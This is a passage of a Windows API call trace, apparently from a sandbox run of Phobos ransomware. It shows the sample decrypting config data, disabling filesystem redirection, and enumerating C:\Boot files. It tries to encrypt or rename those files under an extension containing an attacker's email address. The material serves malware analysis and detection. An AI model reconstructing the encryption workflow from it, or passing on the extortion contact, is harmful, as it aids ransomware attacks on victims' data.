Size=0x110102) returned 0x43ae020 [0124.244] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x50) returned 0xe79438 [0124.244] CryptImportKey (in: hProv=0x7868d8, pbData=0x3fffbe8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3fffc50 | out: phKey=0x3fffc50*=0x7b5e60) returned 1 [0124.244] CryptSetKeyParam (hKey=0x7b5e60, dwParam=0x1, pbData=0x3fffc38, dwFlags=0x0) returned 1 [0124.244] CryptDecrypt (in: hKey=0x7b5e60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79438, pdwDataLen=0x3fffc04 | out: pbData=0xe79438, pdwDataLen=0x3fffc04) returned 1 [0124.244] CryptDestroyKey (hKey=0x7b5e60) returned 1 [0124.244] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0124.244] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0124.244] Wow64DisableWow64FsRedirection (in: OldValue=0x3fffc9c | out: OldValue=0x3fffc9c*=0x0) returned 1 [0124.244] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79438 | out: hHeap=0xe70000) returned 1 [0124.245] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.454] ResetEvent (hEvent=0x514) returned 1 [0124.454] SetEvent (hEvent=0x518) returned 1 [0124.454] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.454] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.454] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.460] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.496] ResetEvent (hEvent=0x514) returned 1 [0124.496] SetEvent (hEvent=0x518) returned 1 [0124.496] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.496] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.496] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=0) returned 1 [0124.497] CloseHandle (hObject=0x580) returned 1 [0124.498] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.523] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.523] ResetEvent (hEvent=0x514) returned 1 [0124.523] SetEvent (hEvent=0x518) returned 1 [0124.523] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.523] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.524] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=95648) returned 1 [0124.524] CloseHandle (hObject=0x584) returned 1 [0124.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0124.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.524] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.524] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.525] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.526] ResetEvent (hEvent=0x514) returned 1 [0124.526] SetEvent (hEvent=0x518) returned 1 [0124.526] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.526] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.526] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=76632) returned 1 [0124.526] CloseHandle (hObject=0x588) returned 1 [0124.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0124.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.526] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.526] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.527] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.528] ResetEvent (hEvent=0x514) returned 1 [0124.528] SetEvent (hEvent=0x518) returned 1 [0124.528] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.528] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.528] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=75616) returned 1 [0124.528] CloseHandle (hObject=0x588) returned 1 [0124.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0124.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.528] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.528] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.529] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.530] ResetEvent (hEvent=0x514) returned 1 [0124.530] SetEvent (hEvent=0x518) returned 1 [0124.530] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.530] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.530] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=79200) returned 1 [0124.530] CloseHandle (hObject=0x588) returned 1 [0124.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0124.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.530] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.530] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.531] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.532] ResetEvent (hEvent=0x514) returned 1 [0124.532] SetEvent (hEvent=0x518) returned 1 [0124.532] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.532] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.532] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=80224) returned 1 [0124.532] CloseHandle (hObject=0x588) returned 1 [0124.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0124.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.532] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.532] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.534] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.534] ResetEvent (hEvent=0x514) returned 1 [0124.534] SetEvent (hEvent=0x518) returned 1 [0124.534] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.534] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.534] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=74072) returned 1 [0124.534] CloseHandle (hObject=0x588) returned 1 [0124.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0124.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.534] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.534] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.536] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.536] ResetEvent (hEvent=0x514) returned 1 [0124.536] SetEvent (hEvent=0x518) returned 1 [0124.536] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.536] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.536] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=44960) returned 1 [0124.536] CloseHandle (hObject=0x588) returned 1 [0124.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0124.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.536] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.537] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.538] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.538] ResetEvent (hEvent=0x514) returned 1 [0124.538] SetEvent (hEvent=0x518) returned 1 [0124.538] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.538] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.538] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=45984) returned 1 [0124.538] CloseHandle (hObject=0x588) returned 1 [0124.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0124.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.538] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.539] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.540] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.540] ResetEvent (hEvent=0x514) returned 1 [0124.540] SetEvent (hEvent=0x518) returned 1 [0124.540] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.540] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.540] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=75104) returned 1 [0124.540] CloseHandle (hObject=0x588) returned 1 [0124.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0124.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.541] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.541] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.542] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.542] ResetEvent (hEvent=0x514) returned 1 [0124.542] SetEvent (hEvent=0x518) returned 1 [0124.542] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.542] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.542] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=45472) returned 1 [0124.543] CloseHandle (hObject=0x588) returned 1 [0124.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0124.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.543] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.543] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.546] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.547] ResetEvent (hEvent=0x514) returned 1 [0124.547] SetEvent (hEvent=0x518) returned 1 [0124.547] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.547] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.548] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3878410) returned 1 [0124.548] CloseHandle (hObject=0x588) returned 1 [0124.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0124.548] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.548] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0124.548] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.551] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.551] ResetEvent (hEvent=0x514) returned 1 [0124.552] SetEvent (hEvent=0x518) returned 1 [0124.552] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.552] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.553] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2373000) returned 1 [0124.553] CloseHandle (hObject=0x588) returned 1 [0124.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0124.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0124.553] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.555] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.556] ResetEvent (hEvent=0x514) returned 1 [0124.556] SetEvent (hEvent=0x518) returned 1 [0124.556] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.556] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.557] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=177414) returned 1 [0124.557] CloseHandle (hObject=0x588) returned 1 [0124.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0124.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.557] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.557] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.560] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.560] ResetEvent (hEvent=0x514) returned 1 [0124.560] SetEvent (hEvent=0x518) returned 1 [0124.561] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.561] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.562] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=145419) returned 1 [0124.562] CloseHandle (hObject=0x588) returned 1 [0124.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0124.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.562] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.562] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.564] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.565] ResetEvent (hEvent=0x514) returned 1 [0124.565] SetEvent (hEvent=0x518) returned 1 [0124.565] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.565] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.565] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=164347) returned 1 [0124.565] CloseHandle (hObject=0x588) returned 1 [0124.565] GetFileAttributesW 